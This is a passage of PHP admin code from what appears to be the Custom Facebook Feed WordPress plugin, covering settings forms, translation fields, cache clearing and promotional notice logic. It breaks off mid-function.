loading the feed via Ajax?', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> ajax Eg: ajax=true</code></th> <td> <input name="cff_ajax" type="checkbox" id="cff_ajax" <?php if($cff_ajax_val == true) echo "checked"; ?> /> <label for="cff_ajax"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('Some modern WordPress themes use Ajax to load content into the page after it has loaded. If your theme uses Ajax to load the Custom Facebook Feed content into the page then check this box. If you are not sure then please check with the theme author.', 'custom-facebook-feed'); ?></p> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e("Preserve settings when plugin is removed", 'custom-facebook-feed'); ?></label></th> <td> <input name="cff_preserve_settings" type="checkbox" id="cff_preserve_settings" <?php if($cff_preserve_settings_val == true) echo "checked"; ?> /> <label for="cff_preserve_settings"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('When removing the plugin your settings are automatically deleted from your database. Checking this box will prevent any settings from being deleted. This means that you can uninstall and reinstall the plugin without losing your settings.', 'custom-facebook-feed'); ?></p> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e("Display credit link", 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> credit Eg: credit=true</code></th> <td> <input name="cff_show_credit" type="checkbox" id="cff_show_credit" <?php if($cff_show_credit == true) echo "checked"; ?> /> <label for="cff_show_credit"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Display a link at the bottom of the feed to help promote the plugin', 'custom-facebook-feed'); ?></i> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e("Minify CSS and JavaScript files"); ?></label></th> <td> <input name="cff_minify" type="checkbox" id="cff_minify" <?php if($cff_minify == true) echo "checked"; ?> /> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e('Is Facebook Page restricted?'); ?></label><code class="cff_shortcode"> restricedpage Eg: restricedpage=true</code></th> <td> <input name="cff_restricted_page" type="checkbox" id="cff_restricted_page" <?php if($cff_restricted_page == true) echo "checked"; ?> /> <label for="cff_ajax"><?php _e('Yes'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('If you want to display your Facebook feed on your website then ideally your Facebook page should not have any age or location restrictions on it as that restricts the plugin from being able to fully access the content. If it is not possible for you to remove all restrictions then you can enable this setting.'); ?></p> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e("Icon font source", 'custom-facebook-feed'); ?></label></th> <td> <select name="cff_font_source"> <option value="cdn" <?php if($cff_font_source == "cdn") echo 'selected="selected"' ?> ><?php _e('CDN', 'custom-facebook-feed'); ?></option> <option value="local" <?php if($cff_font_source == "local") echo 'selected="selected"' ?> ><?php _e('Local copy', 'custom-facebook-feed'); ?></option> <option value="none" <?php if($cff_font_source == "none") echo 'selected="selected"' ?> ><?php _e("Don't load", 'custom-facebook-feed'); ?></option> </select> </td> </tr> <tr> <th class="bump-left"> <label class="bump-left"><?php _e("Force cache to clear on interval", 'custom-facebook-feed'); ?></label> </th> <td> <select name="cff_cron"> <option value="unset" <?php if($cff_cron == "unset") echo 'selected="selected"' ?> ><?php _e(' - ', 'custom-facebook-feed'); ?></option> <option value="yes" <?php if($cff_cron == "yes") echo 'selected="selected"' ?> ><?php _e('Yes', 'custom-facebook-feed'); ?></option> <option value="no" <?php if($cff_cron == "no") echo 'selected="selected"' ?> ><?php _e('No', 'custom-facebook-feed'); ?></option> </select> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("If you're experiencing an issue with the plugin not auto-updating then you can set this to 'Yes' to run a scheduled event behind the scenes which forces the plugin cache to clear on a regular basis and retrieve new data from Facebook.", 'custom-facebook-feed'); ?></p> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e("Request method", 'custom-facebook-feed'); ?></label></th> <td> <select name="cff_request_method"> <option value="auto" <?php if($cff_request_method == "auto") echo 'selected="selected"' ?> ><?php _e('Auto', 'custom-facebook-feed'); ?></option> <option value="1" <?php if($cff_request_method == "1") echo 'selected="selected"' ?> ><?php _e('cURL', 'custom-facebook-feed'); ?></option> <option value="2" <?php if($cff_request_method == "2") echo 'selected="selected"' ?> ><?php _e('file_get_contents', 'custom-facebook-feed'); ?></option> <option value="3" <?php if($cff_request_method == "3") echo 'selected="selected"' ?> ><?php _e("WP_Http", 'custom-facebook-feed'); ?></option> </select> </td> </tr> <tr> <th class="bump-left"><label class="bump-left"><?php _e('Fix text shortening issue'); ?></label><code class="cff_shortcode"> textissue Eg: textissue=true</code></th> <td> <input name="cff_format_issue" type="checkbox" id="cff_format_issue" <?php if($cff_format_issue == true) echo "checked"; ?> /> </td> </tr> <tr> <th class="bump-left"><label for="cff_disable_styles" class="bump-left"><?php _e("Disable default styles", 'custom-facebook-feed'); ?></label></th> <td> <input name="cff_disable_styles" type="checkbox" id="cff_disable_styles" <?php if($cff_disable_styles == true) echo "checked"; ?> /> <label for="cff_disable_styles"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("The plugin includes some basic text and link styles which can be disabled by enabling this setting. Note that the styles used for the layout of the posts will still be applied.", 'custom-facebook-feed'); ?></p> </td> </tr> <tr> <th class="bump-left"><label for="cff_disable_admin_notice" class="bump-left"><?php _e("Disable admin error notice", 'custom-facebook-feed'); ?></label></th> <td> <input name="cff_disable_admin_notice" type="checkbox" id="cff_disable_admin_notice" <?php if($cff_disable_admin_notice == true) echo "checked"; ?> /> <label for="cff_disable_admin_notice"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This will permanently disable the feed error notice that displays in the bottom right corner for admins on the front end of your site.", 'custom-facebook-feed'); ?></p> </td> </tr> <tr> <th class="bump-left"><label for="cff_enable_email_report" class="bump-left"><?php _e("Feed issue email report", 'custom-facebook-feed'); ?></label></th> <td> <input name="cff_enable_email_report" type="checkbox" id="cff_enable_email_report" <?php if($cff_enable_email_report == 'on') echo "checked"; ?> /> <label for="cff_enable_email_report"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("Custom Facebook Feed will send a weekly notification email using your site's wp_mail() function if one or more of your feeds is not updating or is not displaying. If you're not receiving the emails in your inbox, you may need to configure an SMTP service using another plugin like WP Mail SMTP.", 'custom-facebook-feed'); ?></p> <div class="cff_box" style="display: block;"> <div class="cff_box_setting"> <label><?php _e('Schedule Weekly on', 'custom-facebook-feed'); ?></label><br> <?php $schedule_options = array( array( 'val' => 'monday', 'label' => __( 'Monday', 'custom-facebook-feed' ) ), array( 'val' => 'tuesday', 'label' => __( 'Tuesday', 'custom-facebook-feed' ) ), array( 'val' => 'wednesday', 'label' => __( 'Wednesday', 'custom-facebook-feed' ) ), array( 'val' => 'thursday', 'label' => __( 'Thursday', 'custom-facebook-feed' ) ), array( 'val' => 'friday', 'label' => __( 'Friday', 'custom-facebook-feed' ) ), array( 'val' => 'saturday', 'label' => __( 'Saturday', 'custom-facebook-feed' ) ), array( 'val' => 'sunday', 'label' => __( 'Sunday', 'custom-facebook-feed' ) ), ); if ( isset( $_GET['flag'] ) ){ echo '<span id="cff-goto"></span>'; } ?> <select name="cff_email_notification" id="cff_email_notification"> <?php foreach ( $schedule_options as $schedule_option ) : ?> <option value="<?php echo esc_attr( $schedule_option['val'] ) ; ?>" <?php if ( $schedule_option['val'] === $cff_email_notification ) { echo 'selected';} ?>><?php echo esc_html( $schedule_option['label'] ) ; ?></option> <?php endforeach; ?> </select> </div> <div class="cff_box_setting"> <label><?php _e('Email Recipients', 'custom-facebook-feed'); ?></label><br><input class="regular-text" type="text" name="cff_email_notification_addresses" value="<?php echo esc_attr( $cff_email_notification_addresses ); ?>"><span class="sbi_note"><?php _e('separate multiple emails with commas', 'custom-facebook-feed'); ?></span> <br><br><?php _e( 'Emails not working?', 'custom-facebook-feed' ) ?> <a href="https://smashballoon.com/email-report-is-not-in-my-inbox/" target="_blank"><?php _e( 'See our related FAQ', 'custom-facebook-feed' ) ?></a> </div> </div> </td> </tr> <tr> <?php $usage_tracking = get_option( 'cff_usage_tracking', array( 'last_send' => 0, 'enabled' => cff_is_pro_version() ) ); if ( isset( $_POST['cff_email_notification_addresses'] ) ) { $usage_tracking['enabled'] = false; if ( isset( $_POST['cff_usage_tracking_enable'] ) ) { if ( ! is_array( $usage_tracking ) ) { $usage_tracking = array( 'enabled' => true, 'last_send' => 0, ); } else { $usage_tracking['enabled'] = true; } } update_option( 'cff_usage_tracking', $usage_tracking, false ); } $cff_usage_tracking_enable = isset( $usage_tracking['enabled'] ) ? $usage_tracking['enabled'] : true; ?> <th class="bump-left"><label class="bump-left"><?php _e("Enable Usage Tracking", 'custom-facebook-feed'); ?></label></th> <td> <input name="cff_usage_tracking_enable" type="checkbox" id="cff_usage_tracking_enable" <?php if( $cff_usage_tracking_enable ) echo "checked"; ?> /> <label for="cff_usage_tracking_enable"><?php _e('Yes', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What is usage tracking?', 'custom-facebook-feed'); ?></a> <p class="cff-tooltip"><?php _e("Understanding how you are using the plugin allows us to further improve it. The plugin will send a report in the background once per week which includes information about your plugin settings and statistics about your site, which we can use to help improve the features which matter most to you and improve your experience using the plugin. The plugin will never collect any sensitive information like access tokens, email addresses, or user information, and sending this data won't slow down your site at all. For more information,", 'custom-facebook-feed'); ?> <a href="https://smashballoon.com/custom-facebook-feed/docs/usage-tracking/" target="_blank"><?php _e("see here", 'custom-facebook-feed'); ?></a>.</p> </td> </tr> </tbody> </table> <?php submit_button(); ?> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png' , __FILE__ ) ?>" /></a> <?php } //End Misc tab ?> <?php if( $cff_active_tab == 'custom_text' ) { //Start Custom Text tab ?> <p class="cff_contents_links"> <span>Jump to: </span> <a href="#text">Post Text</a> <a href="#action">Post Action Links</a> <a href="#medialink">Media Links</a> <a href="#date">Date</a> </p> <input type="hidden" name="<?php echo $style_custom_text_hidden_field_name; ?>" value="Y"> <br /> <h3><?php _e('Custom Text / Translate', 'custom-facebook-feed'); ?></h3> <p><?php _e('Enter custom text for the words below, or translate it into the language you would like to use.', 'custom-facebook-feed'); ?></p> <table class="form-table cff-translate-table" style="width: 100%; max-width: 940px;"> <tbody> <thead id="text"> <tr> <th><?php _e('Original Text', 'custom-facebook-feed'); ?></th> <th><?php _e('Custom Text / Translation', 'custom-facebook-feed'); ?></th> <th><?php _e('Context', 'custom-facebook-feed'); ?></th> </tr> </thead> <tr class="cff-table-header"><th colspan="3"><?php _e('Post Text', 'custom-facebook-feed'); ?></th></tr> <tr> <td><label for="cff_see_more_text" class="bump-left"><?php _e('See More', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_see_more_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_see_more_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used when truncating the post text', 'custom-facebook-feed'); ?></td> </tr> <tr id="action"><!-- Quick link --> <td><label for="cff_see_less_text" class="bump-left"><?php _e('See Less', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_see_less_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_see_less_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used when truncating the post text', 'custom-facebook-feed'); ?></td> </tr> <tr class="cff-table-header"><th colspan="3"><?php _e('Post Action Links', 'custom-facebook-feed'); ?></th></tr> <tr> <td><label for="cff_facebook_link_text" class="bump-left"><?php _e('View on Facebook', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_facebook_link_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_facebook_link_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used for the link to the post on Facebook', 'custom-facebook-feed'); ?></td> </tr> <tr> <td><label for="cff_facebook_share_text" class="bump-left"><?php _e('Share', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_facebook_share_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_facebook_share_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used for sharing the Facebook post via Social Media', 'custom-facebook-feed'); ?></td> </tr> <tr id="medialink"><!-- Quick link --> <td><label for="cff_translate_photos_text" class="bump-left"><?php _e('photos', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_photos_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_photos_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Added to the end of an album name. Eg. (6 photos)', 'custom-facebook-feed'); ?></td> </tr> <tr class="cff-table-header"><th colspan="3"><?php _e('Media Links', 'custom-facebook-feed'); ?></th></tr> <tr> <td><label for="cff_translate_photo_text" class="bump-left"><?php _e('Photo', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_photo_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_photo_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used to link to photos on Facebook', 'custom-facebook-feed'); ?></td> </tr> <tr id="date"><!-- Quick link --> <td><label for="cff_translate_video_text" class="bump-left"><?php _e('Video', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_video_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_video_text ) ); ?>" /></td> <td class="cff-context"><?php _e('Used to link to videos on Facebook', 'custom-facebook-feed'); ?></td> </tr> <tr class="cff-table-header"><th colspan="3"><?php _e('Call-to-action Buttons', 'custom-facebook-feed'); ?></th></tr> <tr> <td><label for="cff_translate_learn_more_text" class="bump-left"><?php _e('Learn More', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_learn_more_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_learn_more_text ) ); ?>" /></td> <td class="cff-context"><?php _e("Used for the 'Learn More' button", 'custom-facebook-feed'); ?></td> </tr> <tr> <td><label for="cff_translate_shop_now_text" class="bump-left"><?php _e('Shop Now', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_shop_now_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_shop_now_text ) ); ?>" /></td> <td class="cff-context"><?php _e("Used for the 'Shop Now' button", 'custom-facebook-feed'); ?></td> </tr> <tr> <td><label for="cff_translate_message_page_text" class="bump-left"><?php _e('Message Page', 'custom-facebook-feed'); ?></label></td> <td><input name="cff_translate_message_page_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_message_page_text ) ); ?>" /></td> <td class="cff-context"><?php _e("Used for the 'Message Page' button", 'custom-facebook-feed'); ?></td> </tr> <tr class="cff-table-header"><th colspan="3"><?php _e('Date', 'custom-facebook-feed'); ?></th></tr> <tr> <td><label for="cff_photos_text" class="bump-left"><?php _e('"Posted _ hours ago" text', 'custom-facebook-feed'); ?></label></td> <td class="cff-translate-date"> <label for="cff_translate_second"><?php _e("second", 'custom-facebook-feed'); ?></label> <input name="cff_translate_second" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_second ) ); ?>" size="20" /> <br /> <label for="cff_translate_seconds"><?php _e("seconds", 'custom-facebook-feed'); ?></label> <input name="cff_translate_seconds" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_seconds ) ); ?>" size="20" /> <br /> <label for="cff_translate_minute"><?php _e("minute", 'custom-facebook-feed'); ?></label> <input name="cff_translate_minute" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_minute ) ); ?>" size="20" /> <br /> <label for="cff_translate_minutes"><?php _e("minutes", 'custom-facebook-feed'); ?></label> <input name="cff_translate_minutes" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_minutes ) ); ?>" size="20" /> <br /> <label for="cff_translate_hour"><?php _e("hour", 'custom-facebook-feed'); ?></label> <input name="cff_translate_hour" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_hour ) ); ?>" size="20" /> <br /> <label for="cff_translate_hours"><?php _e("hours", 'custom-facebook-feed'); ?></label> <input name="cff_translate_hours" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_hours ) ); ?>" size="20" /> <br /> <label for="cff_translate_day"><?php _e("day", 'custom-facebook-feed'); ?></label> <input name="cff_translate_day" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_day ) ); ?>" size="20" /> <br /> <label for="cff_translate_days"><?php _e("days", 'custom-facebook-feed'); ?></label> <input name="cff_translate_days" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_days ) ); ?>" size="20" /> <br /> <label for="cff_translate_week"><?php _e("week", 'custom-facebook-feed'); ?></label> <input name="cff_translate_week" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_week ) ); ?>" size="20" /> <br /> <label for="cff_translate_weeks"><?php _e("weeks", 'custom-facebook-feed'); ?></label> <input name="cff_translate_weeks" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_weeks ) ); ?>" size="20" /> <br /> <label for="cff_translate_month"><?php _e("month", 'custom-facebook-feed'); ?></label> <input name="cff_translate_month" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_month ) ); ?>" size="20" /> <br /> <label for="cff_translate_months"><?php _e("months", 'custom-facebook-feed'); ?></label> <input name="cff_translate_months" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_months ) ); ?>" size="20" /> <br /> <label for="cff_translate_year"><?php _e("year", 'custom-facebook-feed'); ?></label> <input name="cff_translate_year" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_year ) ); ?>" size="20" /> <br /> <label for="cff_translate_years"><?php _e("years", 'custom-facebook-feed'); ?></label> <input name="cff_translate_years" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_years ) ); ?>" size="20" /> <br /> <label for="cff_translate_ago"><?php _e("ago", 'custom-facebook-feed'); ?></label> <input name="cff_translate_ago" type="text" value="<?php echo stripslashes( esc_attr( $cff_translate_ago ) ); ?>" size="20" /> </td> <td class="cff-context"><?php _e('Used to translate the "__ days ago" date text', 'custom-facebook-feed'); ?></td> </tr> </tbody> </table> <?php submit_button(); ?> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png' , __FILE__ ) ?>" /></a> <?php } //End Custom Text tab ?> </form> <div class="cff-share-plugin"> <h3><?php _e('Like the plugin? Help spread the word!', 'custom-facebook-feed'); ?></h3> <button id="cff-admin-show-share-links" class="button secondary" style="margin-bottom: 1px;"><i class="fa fa-share-alt" aria-hidden="true"></i> Share the plugin</button> <div id="cff-admin-share-links"></div> </div> <?php } //End Style_Page //Enqueue admin styles function cff_admin_style() { wp_register_style( 'custom_wp_admin_css', plugin_dir_url( __FILE__ ) . 'css/cff-admin-style.css', false, CFFVER ); wp_enqueue_style( 'custom_wp_admin_css' ); wp_enqueue_style( 'cff-font-awesome', 'https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css', array(), '4.5.0' ); wp_enqueue_style( 'wp-color-picker' ); } add_action( 'admin_enqueue_scripts', 'cff_admin_style' ); //Enqueue admin scripts function cff_admin_scripts() { //Declare color-picker as a dependency wp_enqueue_script( 'cff_admin_script', plugin_dir_url( __FILE__ ) . 'js/cff-admin-scripts.js', false,CFFVER ); wp_localize_script( 'cff_admin_script', 'cffA', array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'cff_nonce' => wp_create_nonce( 'cff_nonce' ) ) ); $strings = array( 'addon_activate' => esc_html__( 'Activate', 'custom-facebook-feed' ), 'addon_activated' => esc_html__( 'Activated', 'custom-facebook-feed' ), 'addon_active' => esc_html__( 'Active', 'custom-facebook-feed' ), 'addon_deactivate' => esc_html__( 'Deactivate', 'custom-facebook-feed' ), 'addon_inactive' => esc_html__( 'Inactive', 'custom-facebook-feed' ), 'addon_install' => esc_html__( 'Install Addon', 'custom-facebook-feed' ), 'addon_error' => esc_html__( 'Could not install addon. Please download from smashballoon.com and install manually.', 'custom-facebook-feed' ), 'plugin_error' => esc_html__( 'Could not install a plugin. Please download from WordPress.org and install manually.', 'custom-facebook-feed' ), 'addon_search' => esc_html__( 'Searching Addons', 'custom-facebook-feed' ), 'ajax_url' => admin_url( 'admin-ajax.php' ), 'cancel' => esc_html__( 'Cancel', 'custom-facebook-feed' ), 'close' => esc_html__( 'Close', 'custom-facebook-feed' ), 'nonce' => wp_create_nonce( 'cff-admin' ), 'almost_done' => esc_html__( 'Almost Done', 'custom-facebook-feed' ), 'oops' => esc_html__( 'Oops!', 'custom-facebook-feed' ), 'ok' => esc_html__( 'OK', 'custom-facebook-feed' ), 'plugin_install_activate_btn' => esc_html__( 'Install and Activate', 'custom-facebook-feed' ), 'plugin_install_activate_confirm' => esc_html__( 'needs to be installed and activated to import its forms. Would you like us to install and activate it for you?', 'custom-facebook-feed' ), 'plugin_activate_btn' => esc_html__( 'Activate', 'custom-facebook-feed' ), ); $strings = apply_filters( 'cff_admin_strings', $strings ); wp_localize_script( 'cff_admin_script', 'cff_admin', $strings ); if( !wp_script_is('jquery-ui-draggable') ) { wp_enqueue_script( array( 'jquery', 'jquery-ui-core', 'jquery-ui-draggable' ) ); } wp_enqueue_script( array( 'hoverIntent', 'wp-color-picker' ) ); } add_action( 'admin_enqueue_scripts', 'cff_admin_scripts' ); function cff_lite_dismiss() { $nonce = isset( $_POST['cff_nonce'] ) ? sanitize_text_field( $_POST['cff_nonce'] ) : ''; if ( ! wp_verify_nonce( $nonce, 'cff_nonce' ) ) { die ( 'You did not do this the right way!' ); } set_transient( 'facebook_feed_dismiss_lite', 'dismiss', 1 * WEEK_IN_SECONDS ); die(); } add_action( 'wp_ajax_cff_lite_dismiss', 'cff_lite_dismiss' ); function cff_reset_log() { global $cff_error_reporter; $cff_error_reporter->remove_all_errors(); cff_delete_cache(); die(); } add_action( 'wp_ajax_cff_reset_log', 'cff_reset_log' ); // Add a Settings link to the plugin on the Plugins page $cff_plugin_file = 'custom-facebook-feed/custom-facebook-feed.php'; add_filter( "plugin_action_links_{$cff_plugin_file}", 'cff_add_settings_link', 10, 2 ); //modify the link by unshifting the array function cff_add_settings_link( $links, $file ) { $cff_settings_link = '<a href="' . admin_url( 'admin.php?page=cff-top' ) . '">' . __( 'Settings', 'cff-top', 'custom-facebook-feed' ) . '</a>'; array_unshift( $links, $cff_settings_link ); return $links; } //Delete cache function cff_delete_cache(){ global $wpdb; $table_name = $wpdb->prefix . "options"; $wpdb->query( " DELETE FROM $table_name WHERE `option_name` LIKE ('%\_transient\_cff\_%') " ); $wpdb->query( " DELETE FROM $table_name WHERE `option_name` LIKE ('%\_transient\_cff\_tle\_%') " ); $wpdb->query( " DELETE FROM $table_name WHERE `option_name` LIKE ('%\_transient\_timeout\_cff\_%') " ); //Clear cache of major caching plugins if(isset($GLOBALS['wp_fastest_cache']) && method_exists($GLOBALS['wp_fastest_cache'], 'deleteCache')){ $GLOBALS['wp_fastest_cache']->deleteCache(); } //WP Super Cache if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); } //W3 Total Cache if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); } } //Cron job to clear transients add_action('cff_cron_job', 'cff_cron_clear_cache'); function cff_cron_clear_cache() { //Delete all transients cff_delete_cache(); } //NOTICES function cff_get_current_time() { $current_time = time(); // where to do tests // $current_time = strtotime( 'November 25, 2020' ); return $current_time; } // generates the html for the admin notices function cff_notices_html() { //Don't show notices if Instagram notices are being shown if ( function_exists( 'sbi_notices_html' ) ) { return; } //Only show to admins if ( ! current_user_can( 'manage_options' ) ) { return; } $cff_statuses_option = get_option( 'cff_statuses', array() ); $current_time = cff_get_current_time(); $cff_bfcm_discount_code = 'happysmashgiving' . date('Y', $current_time ); // reset everything for testing if ( false ) { global $current_user; $user_id = $current_user->ID; // delete_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice' ); //delete_user_meta( $user_id, 'cff_ignore_new_user_sale_notice' ); // $cff_statuses_option = array( 'first_install' => strtotime( 'December 8, 2017' ) ); //$cff_statuses_option = array( 'first_install' => time() ); //update_option( 'cff_statuses', $cff_statuses_option, false ); //delete_option( 'cff_rating_notice'); //delete_transient( 'custom_facebook_rating_notice_waiting' ); // set_transient( 'custom_facebook_rating_notice_waiting', 'waiting', 2 * WEEK_IN_SECONDS ); delete_transient('custom_facebook_rating_notice_waiting'); update_option( 'cff_rating_notice', 'pending', false ); } //$cff_statuses_option['rating_notice_dismissed'] = time(); //update_option( 'cff_statuses', $cff_statuses_option, false ); // rating notice logic $cff_rating_notice_option = get_option( 'cff_rating_notice', false ); $cff_rating_notice_waiting = get_transient( 'custom_facebook_rating_notice_waiting' ); $should_show_rating_notice = ($cff_rating_notice_waiting !== 'waiting' && $cff_rating_notice_option !== 'dismissed'); // black friday cyber monday logic $thanksgiving_this_year = cff_get_future_date( 11, date('Y', $current_time ), 4, 4, 1 ); $one_week_before_black_friday_this_year = $thanksgiving_this_year - 7*24*60*60; $one_day_after_cyber_monday_this_year = $thanksgiving_this_year + 5*24*60*60; $has_been_two_days_since_rating_dismissal = isset( $cff_statuses_option['rating_notice_dismissed'] ) ? ((int)$cff_statuses_option['rating_notice_dismissed'] + 2*24*60*60) < $current_time : true; $could_show_bfcm_discount = ($current_time > $one_week_before_black_friday_this_year && $current_time < $one_day_after_cyber_monday_this_year); $should_show_bfcm_discount = false; if ( $could_show_bfcm_discount && $has_been_two_days_since_rating_dismissal ) { global $current_user; $user_id = $current_user->ID; $ignore_bfcm_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice' ); $ignore_bfcm_sale_notice_meta = isset( $ignore_bfcm_sale_notice_meta[0] ) ? $ignore_bfcm_sale_notice_meta[0] : ''; /* Check that the user hasn't already clicked to ignore the message */ $should_show_bfcm_discount = ($ignore_bfcm_sale_notice_meta !== 'always' && $ignore_bfcm_sale_notice_meta !== date( 'Y', $current_time )); } // new user discount logic $in_new_user_month_range = true; $should_show_new_user_discount = false; $has_been_one_month_since_rating_dismissal = isset( $cff_statuses_option['rating_notice_dismissed'] ) ? ((int)$cff_statuses_option['rating_notice_dismissed'] + 30*24*60*60) < $current_time + 1: true; if ( isset( $cff_statuses_option['first_install'] ) && $cff_statuses_option['first_install'] === 'from_update' ) { global $current_user; $user_id = $current_user->ID; $ignore_new_user_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_new_user_sale_notice' ); $ignore_new_user_sale_notice_meta = isset( $ignore_new_user_sale_notice_meta[0] ) ? $ignore_new_user_sale_notice_meta[0] : ''; if ( $ignore_new_user_sale_notice_meta !== 'always' ) { $should_show_new_user_discount = true; } } elseif ( $in_new_user_month_range && $has_been_one_month_since_rating_dismissal ) { global $current_user; $user_id = $current_user->ID; $ignore_new_user_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_new_user_sale_notice' ); $ignore_new_user_sale_notice_meta = isset( $ignore_new_user_sale_notice_meta[0] ) ? $ignore_new_user_sale_notice_meta[0] : ''; if ( $ignore_new_user_sale_notice_meta !== 'always' && isset( $cff_statuses_option['first_install'] ) && $current_time > (int)$cff_statuses_option['first_install'] + 60*60*24*30 ) { $should_show_new_user_discount = true; } } // for debugging if ( false ) { global $current_user; $user_id = $current_user->ID; $ignore_bfcm_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice' ); $ignore_new_user_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_new_user_sale_notice' ); var_dump( 'new user rating option', $cff_rating_notice_option ); var_dump( 'new user rating transient', $cff_rating_notice_waiting ); var_dump( 'should show new user rating notice?', $should_show_rating_notice ); var_dump( 'new user discount month range?', $in_new_user_month_range ); var_dump( 'should show new user discount?', $should_show_new_user_discount ); var_dump( 'Thanksgiving this year?', date('m/d/Y', $thanksgiving_this_year ) ); var_dump( 'could show bfcm discount?', $could_show_bfcm_discount ); var_dump( 'should show bfcm discount?', $should_show_bfcm_discount ); var_dump( 'ignore_bfcm_sale_notice_meta', $ignore_bfcm_sale_notice_meta ); var_dump( 'ignore_new_user_sale_notice_meta', $ignore_new_user_sale_notice_meta ); var_dump( $cff_statuses_option ); } if ( $should_show_rating_notice ) { $other_notice_html = ''; $dismiss_url = add_query_arg( 'cff_ignore_rating_notice_nag', '1' ); $later_url = add_query_arg( 'cff_ignore_rating_notice_nag', 'later' ); if ( $should_show_bfcm_discount ) { $other_notice_html = '<p class="cff_other_notice">' . __( 'PS. We currently have a <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=notices&utm_medium=rating&discount='.$cff_bfcm_discount_code.'" target="_blank"><b style="font-weight: 700;">Black Friday deal</b></a> for 60% off the Pro version!', 'custom-facebook-feed' ) . '</p>'; $dismiss_url = add_query_arg( array( 'cff_ignore_rating_notice_nag' => '1', 'cff_ignore_bfcm_sale_notice' => date( 'Y', $current_time ) ) ); $later_url = add_query_arg( array( 